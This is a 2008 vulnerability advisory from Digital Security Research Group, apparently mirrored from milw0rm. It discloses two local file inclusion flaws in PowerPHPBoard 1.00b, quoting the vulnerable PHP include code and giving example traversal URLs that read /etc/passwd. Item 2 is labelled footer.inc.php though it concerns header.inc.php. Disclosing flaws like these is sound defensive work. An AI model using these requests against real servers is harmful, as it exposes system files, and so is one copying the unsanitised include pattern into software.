102 lines
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3.1 KiB
Text
102 lines
No EOL
3.1 KiB
Text
[DSECRG-08-021] Digital Security Research Group [DSecRG] Advisory
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Application: PowerPHPBoard
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Versions Affected: 1.00b
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Vendor URL: http://www.powerscripts.org/
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Bug: Multiple Local File Include
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Exploits: YES
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Reported: 01.02.2008
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Vendor Response: none
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Solution: none
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Date of Public Advisory: 24.03.2008
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Author: Digital Security Research Group [DSecRG] (research [at] dsec [dot] ru)
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Description
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***********
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PowerPHPBoard has Multiple Local File Include vulnerabilities.
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1. Local File Include vulnerability found in script footer.inc.php
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To exploit this vulnerability REGISTER_GLOBALS option must be ON in php config file.
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Code
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****
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#################################################
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if ($settings[footer]) {
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if (file_exists("inc/$settings[footer]")) {
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include("inc/$settings[footer]");
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} else {
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echo "<center>$lang_footerdoesntexists</center>";
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}
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} else {
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include("inc/footer.ppb");
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}
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#################################################
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Example:
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http://[server]/[installdir]/footer.inc.php?settings[footer]=../../../../../../../../../../../../../etc/passwd
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---------------------------------------------------------------------
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2. Local File Include vulnerability found in script footer.inc.php
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To exploit this vulnerability REGISTER_GLOBALS option must be ON in php config file.
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Code
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****
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#################################################
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if (!$handler) {
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if ($handler = @mysql_pconnect($mysql[server], $mysql[user], $mysql[password])) {
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...
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}
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}
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...
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$query = "SELECT * FROM ppb_config WHERE id='1'";
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$result = mysql_query($query,$handler);
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$num = mysql_num_rows($result);
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if ($num != 0) {
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list($settings[id], $settings[boardtitle], $settings[boardurl], $settings[adminemail], $settings[header], $settings[footer], $settings[bordercolor], $settings[tablebg1], $settings[tablebg2], $settings[tablebg3], $settings[htmlcode], $settings[bbcode], $settings[smilies], $settings[newthread], $settings[newpost], $settings[language]) = mysql_fetch_array($result);
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}
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...
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if ($settings[header]) {
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if (file_exists("inc/$settings[header]")) {
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include("inc/$settings[header]");
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} else {
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echo "<center>$lang_headerfiledoesntexists</center>";
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}
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} else {
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include("inc/header.ppb");
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}
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#################################################
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Example:
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http://[server]/[installdir]/header.inc.php?handler=1234&settings[header]=../../../../../../../../../../../../../etc/passwd
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About
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*****
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Digital Security is leading IT security company in Russia, providing information security consulting, audit and penetration testing services, risk analysis and ISMS-related services and certification for ISO/IEC 27001:2005 and PCI DSS standards. Digital Security Research Group focuses on web application and database security problems with vulnerability reports, advisories and whitepapers posted regularly on our website.
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# milw0rm.com [2008-03-24] |